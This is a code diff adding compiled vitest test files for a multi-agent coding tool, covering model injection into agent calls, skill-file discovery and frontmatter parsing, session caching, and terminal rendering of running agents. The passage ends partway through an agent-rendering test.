expect(result.modifiedInput.model).toBe(testCase.expectedModel);
expect(result.injected).toBe(true);
}
});
});
describe('isAgentCall', () => {
it('returns true for Agent tool with valid input', () => {
const toolInput = {
description: 'Test',
prompt: 'Test',
subagent_type: 'executor'
};
expect(isAgentCall('Agent', toolInput)).toBe(true);
});
it('returns true for Task tool with valid input', () => {
const toolInput = {
description: 'Test',
prompt: 'Test',
subagent_type: 'executor'
};
expect(isAgentCall('Task', toolInput)).toBe(true);
});
it('returns false for non-agent tools', () => {
const toolInput = {
description: 'Test',
prompt: 'Test',
subagent_type: 'executor'
};
expect(isAgentCall('Bash', toolInput)).toBe(false);
expect(isAgentCall('Read', toolInput)).toBe(false);
});
it('returns false for invalid input structure', () => {
expect(isAgentCall('Agent', null)).toBe(false);
expect(isAgentCall('Agent', undefined)).toBe(false);
expect(isAgentCall('Agent', 'string')).toBe(false);
expect(isAgentCall('Agent', { description: 'test' })).toBe(false); // missing prompt
expect(isAgentCall('Agent', { prompt: 'test' })).toBe(false); // missing description
});
});
describe('processPreToolUse', () => {
it('returns original input for non-agent tools', () => {
const toolInput = { command: 'ls -la' };
const result = processPreToolUse('Bash', toolInput);
expect(result.modifiedInput).toEqual(toolInput);
expect(result.warning).toBeUndefined();
});
it('enforces model for agent calls', () => {
const toolInput = {
description: 'Test',
prompt: 'Test',
subagent_type: 'executor'
};
const result = processPreToolUse('Agent', toolInput);
expect(result.modifiedInput).toHaveProperty('model', 'sonnet');
});
it('does not modify input when model already specified', () => {
const toolInput = {
description: 'Test',
prompt: 'Test',
subagent_type: 'executor',
model: 'haiku'
};
const result = processPreToolUse('Agent', toolInput);
expect(result.modifiedInput).toEqual(toolInput);
expect(result.warning).toBeUndefined();
});
it('logs warning only when OMC_DEBUG=true and model injected', () => {
const toolInput = {
description: 'Test',
prompt: 'Test',
subagent_type: 'executor'
};
// Without debug
delete process.env.OMC_DEBUG;
const resultWithoutDebug = processPreToolUse('Agent', toolInput);
expect(resultWithoutDebug.warning).toBeUndefined();
// With debug
process.env.OMC_DEBUG = 'true';
const resultWithDebug = processPreToolUse('Agent', toolInput);
expect(resultWithDebug.warning).toBeDefined();
});
});
describe('getModelForAgent', () => {
it('returns correct model for agent with prefix', () => {
expect(getModelForAgent('oh-my-claudecode:executor')).toBe('sonnet');
expect(getModelForAgent('oh-my-claudecode:executor-low')).toBe('haiku');
expect(getModelForAgent('oh-my-claudecode:architect')).toBe('opus');
});
it('returns correct model for agent without prefix', () => {
expect(getModelForAgent('executor')).toBe('sonnet');
expect(getModelForAgent('executor-low')).toBe('haiku');
expect(getModelForAgent('architect')).toBe('opus');
});
it('throws error for unknown agent', () => {
expect(() => getModelForAgent('unknown')).toThrow('Unknown agent type');
});
});
});
//# sourceMappingURL=delegation-enforcer.test.js.map

1
dist/__tests__/delegation-enforcer.test.js.map generated vendored Normal file

File diff suppressed because one or more lines are too long

2
dist/__tests__/example.test.d.ts generated vendored Normal file
View File

@@ -0,0 +1,2 @@
export {};
//# sourceMappingURL=example.test.d.ts.map

1
dist/__tests__/example.test.d.ts.map generated vendored Normal file
View File

@@ -0,0 +1 @@
{"version":3,"file":"example.test.d.ts","sourceRoot":"","sources":["../../src/__tests__/example.test.ts"],"names":[],"mappings":""}

20
dist/__tests__/example.test.js generated vendored Normal file
View File

@@ -0,0 +1,20 @@
import { describe, it, expect } from 'vitest';
describe('Example Test Suite', () => {
it('should perform basic arithmetic', () => {
expect(1 + 1).toBe(2);
});
it('should handle string operations', () => {
expect('hello'.toUpperCase()).toBe('HELLO');
});
it('should work with arrays', () => {
const arr = [1, 2, 3];
expect(arr).toHaveLength(3);
expect(arr).toContain(2);
});
it('should work with objects', () => {
const obj = { name: 'test', value: 42 };
expect(obj).toHaveProperty('name');
expect(obj.value).toBe(42);
});
});
//# sourceMappingURL=example.test.js.map

1
dist/__tests__/example.test.js.map generated vendored Normal file
View File

@@ -0,0 +1 @@
{"version":3,"file":"example.test.js","sourceRoot":"","sources":["../../src/__tests__/example.test.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,QAAQ,EAAE,EAAE,EAAE,MAAM,EAAE,MAAM,QAAQ,CAAC;AAE9C,QAAQ,CAAC,oBAAoB,EAAE,GAAG,EAAE;IAClC,EAAE,CAAC,iCAAiC,EAAE,GAAG,EAAE;QACzC,MAAM,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IACxB,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,iCAAiC,EAAE,GAAG,EAAE;QACzC,MAAM,CAAC,OAAO,CAAC,WAAW,EAAE,CAAC,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC;IAC9C,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,yBAAyB,EAAE,GAAG,EAAE;QACjC,MAAM,GAAG,GAAG,CAAC,CAAC,EAAE,CAAC,EAAE,CAAC,CAAC,CAAC;QACtB,MAAM,CAAC,GAAG,CAAC,CAAC,YAAY,CAAC,CAAC,CAAC,CAAC;QAC5B,MAAM,CAAC,GAAG,CAAC,CAAC,SAAS,CAAC,CAAC,CAAC,CAAC;IAC3B,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,0BAA0B,EAAE,GAAG,EAAE;QAClC,MAAM,GAAG,GAAG,EAAE,IAAI,EAAE,MAAM,EAAE,KAAK,EAAE,EAAE,EAAE,CAAC;QACxC,MAAM,CAAC,GAAG,CAAC,CAAC,cAAc,CAAC,MAAM,CAAC,CAAC;QACnC,MAAM,CAAC,GAAG,CAAC,KAAK,CAAC,CAAC,IAAI,CAAC,EAAE,CAAC,CAAC;IAC7B,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC"}

2
dist/__tests__/hooks.test.d.ts generated vendored Normal file
View File

@@ -0,0 +1,2 @@
export {};
//# sourceMappingURL=hooks.test.d.ts.map

1
dist/__tests__/hooks.test.d.ts.map generated vendored Normal file
View File

@@ -0,0 +1 @@
{"version":3,"file":"hooks.test.d.ts","sourceRoot":"","sources":["../../src/__tests__/hooks.test.ts"],"names":[],"mappings":""}

1154
dist/__tests__/hooks.test.js generated vendored Normal file

File diff suppressed because it is too large Load Diff

1
dist/__tests__/hooks.test.js.map generated vendored Normal file

File diff suppressed because one or more lines are too long

11
dist/__tests__/hooks/learner/bridge.test.d.ts generated vendored Normal file
View File

@@ -0,0 +1,11 @@
/**
* Integration tests for Skill Bridge Module
*
* Tests the bridge API used by skill-injector.mjs for:
* - Skill file discovery (recursive)
* - YAML frontmatter parsing
* - Trigger-based matching
* - Session cache persistence
*/
export {};
//# sourceMappingURL=bridge.test.d.ts.map

1
dist/__tests__/hooks/learner/bridge.test.d.ts.map generated vendored Normal file
View File

@@ -0,0 +1 @@
{"version":3,"file":"bridge.test.d.ts","sourceRoot":"","sources":["../../../../src/__tests__/hooks/learner/bridge.test.ts"],"names":[],"mappings":"AAAA;;;;;;;;GAQG"}

217
dist/__tests__/hooks/learner/bridge.test.js generated vendored Normal file
View File

@@ -0,0 +1,217 @@
/**
* Integration tests for Skill Bridge Module
*
* Tests the bridge API used by skill-injector.mjs for:
* - Skill file discovery (recursive)
* - YAML frontmatter parsing
* - Trigger-based matching
* - Session cache persistence
*/
import { describe, it, expect, beforeEach, afterEach } from "vitest";
import { mkdirSync, writeFileSync, rmSync, existsSync, readFileSync } from "fs";
import { join } from "path";
import { tmpdir } from "os";
import { findSkillFiles, parseSkillFile, matchSkillsForInjection, getInjectedSkillPaths, markSkillsInjected, clearSkillMetadataCache, } from "../../../hooks/learner/bridge.js";
describe("Skill Bridge Module", () => {
let testProjectRoot;
let originalCwd;
beforeEach(() => {
clearSkillMetadataCache();
originalCwd = process.cwd();
testProjectRoot = join(tmpdir(), `omc-bridge-test-${Date.now()}`);
mkdirSync(testProjectRoot, { recursive: true });
process.chdir(testProjectRoot);
});
afterEach(() => {
process.chdir(originalCwd);
if (existsSync(testProjectRoot)) {
rmSync(testProjectRoot, { recursive: true, force: true });
}
});
describe("findSkillFiles", () => {
it("should discover skills in project .omc/skills/", () => {
const skillsDir = join(testProjectRoot, ".omc", "skills");
mkdirSync(skillsDir, { recursive: true });
writeFileSync(join(skillsDir, "test-skill.md"), "---\nname: Test Skill\ntriggers:\n - test\n---\nContent");
const files = findSkillFiles(testProjectRoot);
// Filter to project scope to isolate from user's global skills
const projectFiles = files.filter((f) => f.scope === "project");
expect(projectFiles).toHaveLength(1);
expect(projectFiles[0].scope).toBe("project");
expect(projectFiles[0].path).toContain("test-skill.md");
});
it("should discover skills recursively in subdirectories", () => {
const skillsDir = join(testProjectRoot, ".omc", "skills");
const subDir = join(skillsDir, "subdir", "nested");
mkdirSync(subDir, { recursive: true });
writeFileSync(join(skillsDir, "root-skill.md"), "---\nname: Root\ntriggers:\n - root\n---\nRoot content");
writeFileSync(join(subDir, "nested-skill.md"), "---\nname: Nested\ntriggers:\n - nested\n---\nNested content");
const files = findSkillFiles(testProjectRoot);
// Filter to project scope to isolate from user's global skills
const projectFiles = files.filter((f) => f.scope === "project");
expect(projectFiles).toHaveLength(2);
const names = projectFiles.map((f) => f.path);
expect(names.some((n) => n.includes("root-skill.md"))).toBe(true);
expect(names.some((n) => n.includes("nested-skill.md"))).toBe(true);
});
it("should ignore non-.md files", () => {
const skillsDir = join(testProjectRoot, ".omc", "skills");
mkdirSync(skillsDir, { recursive: true });
writeFileSync(join(skillsDir, "valid.md"), "---\nname: Valid\n---\nContent");
writeFileSync(join(skillsDir, "invalid.txt"), "Not a skill");
writeFileSync(join(skillsDir, "README"), "Documentation");
const files = findSkillFiles(testProjectRoot);
// Filter to project scope to isolate from user's global skills
const projectFiles = files.filter((f) => f.scope === "project");
expect(projectFiles).toHaveLength(1);
expect(projectFiles[0].path).toContain("valid.md");
});
});
describe("parseSkillFile", () => {
it("should parse valid frontmatter with all fields", () => {
const content = `---
name: Comprehensive Skill
description: A test skill
triggers:
- trigger1
- trigger2
tags:
- tag1
matching: fuzzy
model: opus
agent: architect
---
# Skill Content
This is the skill body.`;
const result = parseSkillFile(content);
expect(result).not.toBeNull();
expect(result?.valid).toBe(true);
expect(result?.metadata.name).toBe("Comprehensive Skill");
expect(result?.metadata.description).toBe("A test skill");
expect(result?.metadata.triggers).toEqual(["trigger1", "trigger2"]);
expect(result?.metadata.tags).toEqual(["tag1"]);
expect(result?.metadata.matching).toBe("fuzzy");
expect(result?.metadata.model).toBe("opus");
expect(result?.metadata.agent).toBe("architect");
expect(result?.content).toContain("# Skill Content");
});
it("should handle files without frontmatter", () => {
const content = `This is just plain content without frontmatter.`;
const result = parseSkillFile(content);
expect(result).not.toBeNull();
expect(result?.valid).toBe(true);
expect(result?.content).toBe(content);
});
it("should parse inline array syntax", () => {
const content = `---
name: Inline Triggers
triggers: ["alpha", "beta", "gamma"]
---
Content`;
const result = parseSkillFile(content);
expect(result?.metadata.triggers).toEqual(["alpha", "beta", "gamma"]);
});
it("should handle unterminated inline array (missing closing bracket)", () => {
const content = `---
name: Malformed Triggers
triggers: ["alpha", "beta", "gamma"
---
Content`;
const result = parseSkillFile(content);
// Missing ] should result in empty triggers array
expect(result?.valid).toBe(true); // bridge.ts parseSkillFile is more lenient
expect(result?.metadata.triggers).toEqual([]);
});
});
describe("matchSkillsForInjection", () => {
it("should match skills by trigger substring", () => {
const skillsDir = join(testProjectRoot, ".omc", "skills");
mkdirSync(skillsDir, { recursive: true });
writeFileSync(join(skillsDir, "deploy-skill.md"), "---\nname: Deploy Skill\ntriggers:\n - deploy\n - deployment\n---\nDeployment instructions");
const matches = matchSkillsForInjection("I need to deploy the application", testProjectRoot, "test-session");
expect(matches).toHaveLength(1);
expect(matches[0].name).toBe("Deploy Skill");
expect(matches[0].score).toBeGreaterThan(0);
});
it("should not match when triggers dont match", () => {
const skillsDir = join(testProjectRoot, ".omc", "skills");
mkdirSync(skillsDir, { recursive: true });
writeFileSync(join(skillsDir, "database-skill.md"), "---\nname: Database\ntriggers:\n - database\n - sql\n---\nDB instructions");
const matches = matchSkillsForInjection("Help me with React components", testProjectRoot, "test-session");
expect(matches).toHaveLength(0);
});
it("should use fuzzy matching when opt-in", () => {
const skillsDir = join(testProjectRoot, ".omc", "skills");
mkdirSync(skillsDir, { recursive: true });
// Skill with fuzzy matching enabled
writeFileSync(join(skillsDir, "fuzzy-skill.md"), "---\nname: Fuzzy Skill\nmatching: fuzzy\ntriggers:\n - deployment\n---\nFuzzy content");
// "deploy" is similar to "deployment" - should match with fuzzy
const matches = matchSkillsForInjection("I need to deploy", testProjectRoot, "test-session-fuzzy");
// Note: exact substring "deploy" is in "deployment", so it matches anyway
// To truly test fuzzy, we'd need a trigger that's close but not substring
expect(matches.length).toBeGreaterThanOrEqual(0);
});
it("should respect skill limit", () => {
const skillsDir = join(testProjectRoot, ".omc", "skills");
mkdirSync(skillsDir, { recursive: true });
// Create 10 skills that all match "test"
for (let i = 0; i < 10; i++) {
writeFileSync(join(skillsDir, `skill-${i}.md`), `---\nname: Skill ${i}\ntriggers:\n - test\n---\nContent ${i}`);
}
const matches = matchSkillsForInjection("run the test", testProjectRoot, "limit-session", {
maxResults: 3,
});
expect(matches).toHaveLength(3);
});
});
describe("Session Cache", () => {
it("should track injected skills via file-based cache", () => {
markSkillsInjected("session-1", ["/path/to/skill1.md", "/path/to/skill2.md"], testProjectRoot);
const injected = getInjectedSkillPaths("session-1", testProjectRoot);
expect(injected).toContain("/path/to/skill1.md");
expect(injected).toContain("/path/to/skill2.md");
});
it("should not return skills for different session", () => {
markSkillsInjected("session-A", ["/path/to/skillA.md"], testProjectRoot);
const injected = getInjectedSkillPaths("session-B", testProjectRoot);
expect(injected).toHaveLength(0);
});
it("should persist state to file", () => {
markSkillsInjected("persist-test", ["/path/to/persist.md"], testProjectRoot);
const stateFile = join(testProjectRoot, ".omc", "state", "skill-sessions.json");
expect(existsSync(stateFile)).toBe(true);
const state = JSON.parse(readFileSync(stateFile, "utf-8"));
expect(state.sessions["persist-test"]).toBeDefined();
expect(state.sessions["persist-test"].injectedPaths).toContain("/path/to/persist.md");
});
it("should not re-inject already injected skills", () => {
const skillsDir = join(testProjectRoot, ".omc", "skills");
mkdirSync(skillsDir, { recursive: true });
writeFileSync(join(skillsDir, "once-skill.md"), "---\nname: Once Only\ntriggers:\n - once\n---\nOnce content");
// First match
const first = matchSkillsForInjection("test once", testProjectRoot, "cache-session");
expect(first).toHaveLength(1);
// Mark as injected
markSkillsInjected("cache-session", [first[0].path], testProjectRoot);
// Second match - should be empty
const second = matchSkillsForInjection("test once again", testProjectRoot, "cache-session");
expect(second).toHaveLength(0);
});
});
describe("Priority", () => {
it("should return project skills before user skills", () => {
// We can't easily test user skills dir in isolation, but we can verify
// that project skills come first in the returned array
const skillsDir = join(testProjectRoot, ".omc", "skills");
mkdirSync(skillsDir, { recursive: true });
writeFileSync(join(skillsDir, "project-skill.md"), "---\nname: Project Skill\ntriggers:\n - priority\n---\nProject content");
const files = findSkillFiles(testProjectRoot);
const projectSkills = files.filter((f) => f.scope === "project");
expect(projectSkills.length).toBeGreaterThan(0);
expect(projectSkills[0].scope).toBe("project");
});
});
});
//# sourceMappingURL=bridge.test.js.map

1
dist/__tests__/hooks/learner/bridge.test.js.map generated vendored Normal file

File diff suppressed because one or more lines are too long

5
dist/__tests__/hooks/learner/parser.test.d.ts generated vendored Normal file
View File

@@ -0,0 +1,5 @@
/**
* Tests for Skill Parser
*/
export {};
//# sourceMappingURL=parser.test.d.ts.map

1
dist/__tests__/hooks/learner/parser.test.d.ts.map generated vendored Normal file
View File

@@ -0,0 +1 @@
{"version":3,"file":"parser.test.d.ts","sourceRoot":"","sources":["../../../../src/__tests__/hooks/learner/parser.test.ts"],"names":[],"mappings":"AAAA;;GAEG"}

219
dist/__tests__/hooks/learner/parser.test.js generated vendored Normal file
View File

@@ -0,0 +1,219 @@
/**
* Tests for Skill Parser
*/
import { describe, it, expect } from "vitest";
import { parseSkillFile } from "../../../hooks/learner/parser.js";
describe("parseSkillFile", () => {
describe("backward compatibility", () => {
it("should parse skill with only name, description, and triggers (no id, no source)", () => {
const content = `---
name: DateTime Helper
description: Help with date and time operations
triggers:
- datetime
- time
- date
---
This skill helps with date and time operations.`;
const result = parseSkillFile(content);
expect(result.valid).toBe(true);
expect(result.errors).toEqual([]);
expect(result.metadata.name).toBe("DateTime Helper");
expect(result.metadata.description).toBe("Help with date and time operations");
expect(result.metadata.triggers).toEqual(["datetime", "time", "date"]);
expect(result.metadata.id).toBe("datetime-helper");
expect(result.metadata.source).toBe("manual");
expect(result.content).toBe("This skill helps with date and time operations.");
});
it("should derive id correctly from name with special characters", () => {
const content = `---
name: "API/REST Helper!"
description: Help with REST APIs
triggers:
- api
---
Content here.`;
const result = parseSkillFile(content);
expect(result.valid).toBe(true);
expect(result.metadata.id).toBe("apirest-helper");
expect(result.metadata.name).toBe("API/REST Helper!");
});
it("should derive id correctly from name with multiple spaces", () => {
const content = `---
name: "My Super Skill"
description: A super skill
triggers:
- super
---
Content.`;
const result = parseSkillFile(content);
expect(result.valid).toBe(true);
expect(result.metadata.id).toBe("my-super-skill");
});
it("should default source to manual when missing", () => {
const content = `---
name: Test Skill
description: Test description
triggers:
- test
---
Content.`;
const result = parseSkillFile(content);
expect(result.valid).toBe(true);
expect(result.metadata.source).toBe("manual");
});
it("should work correctly with all fields including explicit id and source", () => {
const content = `---
id: custom-id
name: Complete Skill
description: A complete skill
source: extracted
createdAt: "2024-01-01T00:00:00Z"
sessionId: session-123
quality: 5
usageCount: 10
triggers:
- complete
- full
tags:
- tag1
- tag2
---
Full skill content.`;
const result = parseSkillFile(content);
expect(result.valid).toBe(true);
expect(result.errors).toEqual([]);
expect(result.metadata.id).toBe("custom-id");
expect(result.metadata.name).toBe("Complete Skill");
expect(result.metadata.description).toBe("A complete skill");
expect(result.metadata.source).toBe("extracted");
expect(result.metadata.createdAt).toBe("2024-01-01T00:00:00Z");
expect(result.metadata.sessionId).toBe("session-123");
expect(result.metadata.quality).toBe(5);
expect(result.metadata.usageCount).toBe(10);
expect(result.metadata.triggers).toEqual(["complete", "full"]);
expect(result.metadata.tags).toEqual(["tag1", "tag2"]);
expect(result.content).toBe("Full skill content.");
});
it("should fail validation when name is missing", () => {
const content = `---
description: Missing name
triggers:
- test
---
Content.`;
const result = parseSkillFile(content);
expect(result.valid).toBe(false);
expect(result.errors).toContain("Missing required field: name");
});
it("should fail validation when description is missing", () => {
const content = `---
name: Test Skill
triggers:
- test
---
Content.`;
const result = parseSkillFile(content);
expect(result.valid).toBe(false);
expect(result.errors).toContain("Missing required field: description");
});
it("should fail validation when triggers is missing", () => {
const content = `---
name: Test Skill
description: Test description
---
Content.`;
const result = parseSkillFile(content);
expect(result.valid).toBe(false);
expect(result.errors).toContain("Missing required field: triggers");
});
it("should fail validation when triggers is empty array", () => {
const content = `---
name: Test Skill
description: Test description
triggers: []
---
Content.`;
const result = parseSkillFile(content);
expect(result.valid).toBe(false);
expect(result.errors).toContain("Missing required field: triggers");
});
});
describe("edge cases", () => {
it("should handle inline triggers array", () => {
const content = `---
name: Inline Triggers
description: Test inline array
triggers: ["trigger1", "trigger2", "trigger3"]
---
Content.`;
const result = parseSkillFile(content);
expect(result.valid).toBe(true);
expect(result.metadata.triggers).toEqual([
"trigger1",
"trigger2",
"trigger3",
]);
});
it("should handle unterminated inline array (missing closing bracket)", () => {
const content = `---
name: Malformed Triggers
description: Test malformed inline array
triggers: ["trigger1", "trigger2"
---
Content.`;
const result = parseSkillFile(content);
// Missing ] should result in empty triggers array, failing validation
expect(result.valid).toBe(false);
expect(result.errors).toContain("Missing required field: triggers");
expect(result.metadata.triggers).toEqual([]);
});
it("should handle quoted name and description", () => {
const content = `---
name: "Quoted Name"
description: "Quoted Description"
triggers:
- test
---
Content.`;
const result = parseSkillFile(content);
expect(result.valid).toBe(true);
expect(result.metadata.name).toBe("Quoted Name");
expect(result.metadata.description).toBe("Quoted Description");
});
it("should handle single-quoted values", () => {
const content = `---
name: 'Single Quoted'
description: 'Also single quoted'
triggers:
- 'trigger'
---
Content.`;
const result = parseSkillFile(content);
expect(result.valid).toBe(true);
expect(result.metadata.name).toBe("Single Quoted");
expect(result.metadata.description).toBe("Also single quoted");
expect(result.metadata.triggers).toEqual(["trigger"]);
});
it("should fail when frontmatter is missing", () => {
const content = `Just plain content without frontmatter.`;
const result = parseSkillFile(content);
expect(result.valid).toBe(false);
expect(result.errors).toContain("Missing YAML frontmatter");
});
});
});
//# sourceMappingURL=parser.test.js.map

1
dist/__tests__/hooks/learner/parser.test.js.map generated vendored Normal file

File diff suppressed because one or more lines are too long

7
dist/__tests__/hud-agents.test.d.ts generated vendored Normal file
View File

@@ -0,0 +1,7 @@
/**
* Sisyphus HUD - Agents Element Tests
*
* Tests for agent visualization with different formats.
*/
export {};
//# sourceMappingURL=hud-agents.test.d.ts.map

1
dist/__tests__/hud-agents.test.d.ts.map generated vendored Normal file
View File

@@ -0,0 +1 @@
{"version":3,"file":"hud-agents.test.d.ts","sourceRoot":"","sources":["../../src/__tests__/hud-agents.test.ts"],"names":[],"mappings":"AAAA;;;;GAIG"}

366
dist/__tests__/hud-agents.test.js generated vendored Normal file
View File

@@ -0,0 +1,366 @@
/**
* Sisyphus HUD - Agents Element Tests
*
* Tests for agent visualization with different formats.
*/
import { describe, it, expect } from 'vitest';
import { renderAgents, renderAgentsCoded, renderAgentsCodedWithDuration, renderAgentsDetailed, renderAgentsByFormat, renderAgentsMultiLine, } from '../hud/elements/agents.js';
// ANSI color codes for verification
const RESET = '\x1b[0m';
const CYAN = '\x1b[36m';
const MAGENTA = '\x1b[35m';
const YELLOW = '\x1b[33m';
const GREEN = '\x1b[32m';
// Helper to create mock agents
function createAgent(type, model, startTime) {
return {
id: `agent-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`,
type,
model,
status: 'running',
startTime: startTime || new Date(),
};
}
describe('Agents Element', () => {
describe('renderAgents (count format)', () => {
it('should return null for empty array', () => {
expect(renderAgents([])).toBeNull();
});
it('should return null when no agents are running', () => {
const agents = [
{ ...createAgent('architect'), status: 'completed' },
];
expect(renderAgents(agents)).toBeNull();
});
it('should show count of running agents', () => {
const agents = [
createAgent('architect'),
createAgent('explore'),
];
const result = renderAgents(agents);
expect(result).toBe(`agents:${CYAN}2${RESET}`);
});
});
describe('renderAgentsCoded (codes format)', () => {
it('should return null for empty array', () => {
expect(renderAgentsCoded([])).toBeNull();
});
it('should show single-character codes for known agents', () => {
const agents = [
createAgent('oh-my-claudecode:architect', 'opus'),
];
const result = renderAgentsCoded(agents);
// Architect with opus should be uppercase A in magenta
expect(result).toContain('agents:');
expect(result).toContain('A');
});
it('should use lowercase for sonnet/haiku tiers', () => {
const agents = [
createAgent('oh-my-claudecode:explore', 'haiku'),
];
const result = renderAgentsCoded(agents);
expect(result).toContain('e');
});
it('should handle multiple agents', () => {
const now = Date.now();
const agents = [
createAgent('oh-my-claudecode:architect', 'opus', new Date(now - 2000)),
createAgent('oh-my-claudecode:explore', 'haiku', new Date(now - 1000)),
createAgent('oh-my-claudecode:executor', 'sonnet', new Date(now)),
];
const result = renderAgentsCoded(agents);
expect(result).toBeDefined();
// Should contain codes for all three (freshest first: x, e, A)
expect(result.replace(/\x1b\[[0-9;]*m/g, '')).toBe('agents:xeA');
});
it('should handle agents without model info', () => {
const agents = [createAgent('oh-my-claudecode:architect')];
const result = renderAgentsCoded(agents);
expect(result).toContain('A');
});
it('should use first letter for unknown agent types', () => {
const agents = [
createAgent('oh-my-claudecode:unknown-agent', 'sonnet'),
];
const result = renderAgentsCoded(agents);
expect(result.replace(/\x1b\[[0-9;]*m/g, '')).toBe('agents:u');
});
});
describe('renderAgentsCodedWithDuration (codes-duration format)', () => {
it('should return null for empty array', () => {
expect(renderAgentsCodedWithDuration([])).toBeNull();
});
it('should not show duration for very recent agents', () => {
const agents = [
createAgent('oh-my-claudecode:architect', 'opus', new Date()),
];
const result = renderAgentsCodedWithDuration(agents);
// No duration suffix for <10s
expect(result.replace(/\x1b\[[0-9;]*m/g, '')).toBe('agents:A');
});
it('should show seconds for agents running 10-59s', () => {
const agents = [
createAgent('oh-my-claudecode:architect', 'opus', new Date(Date.now() - 30000)), // 30 seconds ago
];
const result = renderAgentsCodedWithDuration(agents);
const stripped = result.replace(/\x1b\[[0-9;]*m/g, '');
expect(stripped).toMatch(/agents:A\(30s\)/);
});
it('should show minutes for agents running 1-9 min', () => {
const agents = [
createAgent('oh-my-claudecode:architect', 'opus', new Date(Date.now() - 180000)), // 3 minutes ago
];
const result = renderAgentsCodedWithDuration(agents);
const stripped = result.replace(/\x1b\[[0-9;]*m/g, '');
expect(stripped).toMatch(/agents:A\(3m\)/);
});
it('should show alert for agents running 10+ min', () => {
const agents = [
createAgent('oh-my-claudecode:architect', 'opus', new Date(Date.now() - 600000)), // 10 minutes ago
];
const result = renderAgentsCodedWithDuration(agents);
const stripped = result.replace(/\x1b\[[0-9;]*m/g, '');
expect(stripped).toMatch(/agents:A!/);
});
});
describe('renderAgentsDetailed (detailed format)', () => {
it('should return null for empty array', () => {
expect(renderAgentsDetailed([])).toBeNull();
});
it('should show full agent names', () => {
const agents = [createAgent('oh-my-claudecode:architect')];
const result = renderAgentsDetailed(agents);
expect(result).toContain('architect');
});
it('should abbreviate common long names', () => {
const agents = [
createAgent('oh-my-claudecode:executor', 'sonnet'),
];
const result = renderAgentsDetailed(agents);
expect(result).toContain('exec');
});
it('should include duration for long-running agents', () => {
const agents = [
createAgent('oh-my-claudecode:architect', 'opus', new Date(Date.now() - 120000)), // 2 minutes
];
const result = renderAgentsDetailed(agents);
expect(result).toContain('(2m)');
});
});
describe('renderAgentsByFormat (format router)', () => {
const now = Date.now();
const agents = [
createAgent('oh-my-claudecode:architect', 'opus', new Date(now - 1000)),
createAgent('oh-my-claudecode:explore', 'haiku', new Date(now)),
];
it('should route to count format', () => {
const result = renderAgentsByFormat(agents, 'count');
expect(result).toBe(`agents:${CYAN}2${RESET}`);
});
it('should route to codes format', () => {
const result = renderAgentsByFormat(agents, 'codes');
expect(result).toContain('agents:');
// Freshest first: explore (e), then architect (A)
expect(result.replace(/\x1b\[[0-9;]*m/g, '')).toBe('agents:eA');
});
it('should route to codes-duration format', () => {
const result = renderAgentsByFormat(agents, 'codes-duration');
expect(result).toContain('agents:');
});
it('should route to detailed format', () => {
const result = renderAgentsByFormat(agents, 'detailed');
expect(result).toContain('architect');
});
it('should route to descriptions format', () => {
const agentsWithDesc = [
{
...createAgent('oh-my-claudecode:architect', 'opus'),
description: 'Analyzing code',
},
];
const result = renderAgentsByFormat(agentsWithDesc, 'descriptions');
expect(result).toContain('A');
expect(result).toContain('Analyzing code');
});
it('should route to tasks format', () => {
const agentsWithDesc = [
{
...createAgent('oh-my-claudecode:architect', 'opus'),
description: 'Analyzing code',
},
];
const result = renderAgentsByFormat(agentsWithDesc, 'tasks');
expect(result).toContain('[');
expect(result).toContain('Analyzing code');
expect(result).not.toContain('A:'); // tasks format doesn't show codes
});
it('should default to codes for unknown format', () => {
const result = renderAgentsByFormat(agents, 'unknown');
// Should fall back to codes format (freshest first: e, A)
expect(result).toContain('agents:');
expect(result.replace(/\x1b\[[0-9;]*m/g, '')).toBe('agents:eA');
});
});
describe('Agent type codes', () => {
const testCases = [
{ type: 'architect', model: 'opus', expected: 'A' },
{ type: 'architect-low', model: 'haiku', expected: 'a' },
{ type: 'architect-medium', model: 'sonnet', expected: 'a' },
{ type: 'explore', model: 'haiku', expected: 'e' },
{ type: 'explore-medium', model: 'sonnet', expected: 'e' },
{ type: 'executor', model: 'sonnet', expected: 'x' },
{ type: 'executor-low', model: 'haiku', expected: 'x' },
{ type: 'executor-high', model: 'opus', expected: 'X' },
{ type: 'designer', model: 'sonnet', expected: 'd' },
{ type: 'designer-high', model: 'opus', expected: 'D' },
{ type: 'researcher', model: 'sonnet', expected: 'r' },
{ type: 'writer', model: 'haiku', expected: 'w' },
{ type: 'planner', model: 'opus', expected: 'P' },
{ type: 'critic', model: 'opus', expected: 'C' },
{ type: 'analyst', model: 'opus', expected: 'T' },
{ type: 'qa-tester', model: 'sonnet', expected: 'q' },
{ type: 'vision', model: 'sonnet', expected: 'v' },
];
testCases.forEach(({ type, model, expected }) => {
it(`should render ${type} (${model}) as '${expected}'`, () => {
const agents = [
createAgent(`oh-my-claudecode:${type}`, model),
];
const result = renderAgentsCoded(agents);
const stripped = result.replace(/\x1b\[[0-9;]*m/g, '');
expect(stripped).toBe(`agents:${expected}`);
});
});
});
describe('Model tier color coding', () => {
it('should use magenta for opus tier', () => {
const agents = [
createAgent('oh-my-claudecode:architect', 'opus'),
];
const result = renderAgentsCoded(agents);
expect(result).toContain(MAGENTA);
});
it('should use yellow for sonnet tier', () => {
const agents = [
createAgent('oh-my-claudecode:executor', 'sonnet'),
];
const result = renderAgentsCoded(agents);
expect(result).toContain(YELLOW);
});
it('should use green for haiku tier', () => {
const agents = [
createAgent('oh-my-claudecode:explore', 'haiku'),
];
const result = renderAgentsCoded(agents);
expect(result).toContain(GREEN);
});
it('should use cyan for unknown model', () => {
const agents = [
createAgent('oh-my-claudecode:architect'),
];
const result = renderAgentsCoded(agents);
expect(result).toContain(CYAN);
});
});
describe('renderAgentsMultiLine (multiline format)', () => {
it('should return empty for no running agents', () => {
const result = renderAgentsMultiLine([]);
expect(result.headerPart).toBeNull();
expect(result.detailLines).toHaveLength(0);
});
it('should return empty for completed agents only', () => {
const agents = [
{ ...createAgent('oh-my-claudecode:architect'), status: 'completed' },
];
const result = renderAgentsMultiLine(agents);
expect(result.headerPart).toBeNull();
expect(result.detailLines).toHaveLength(0);
});
it('should render single agent with tree character (last)', () => {
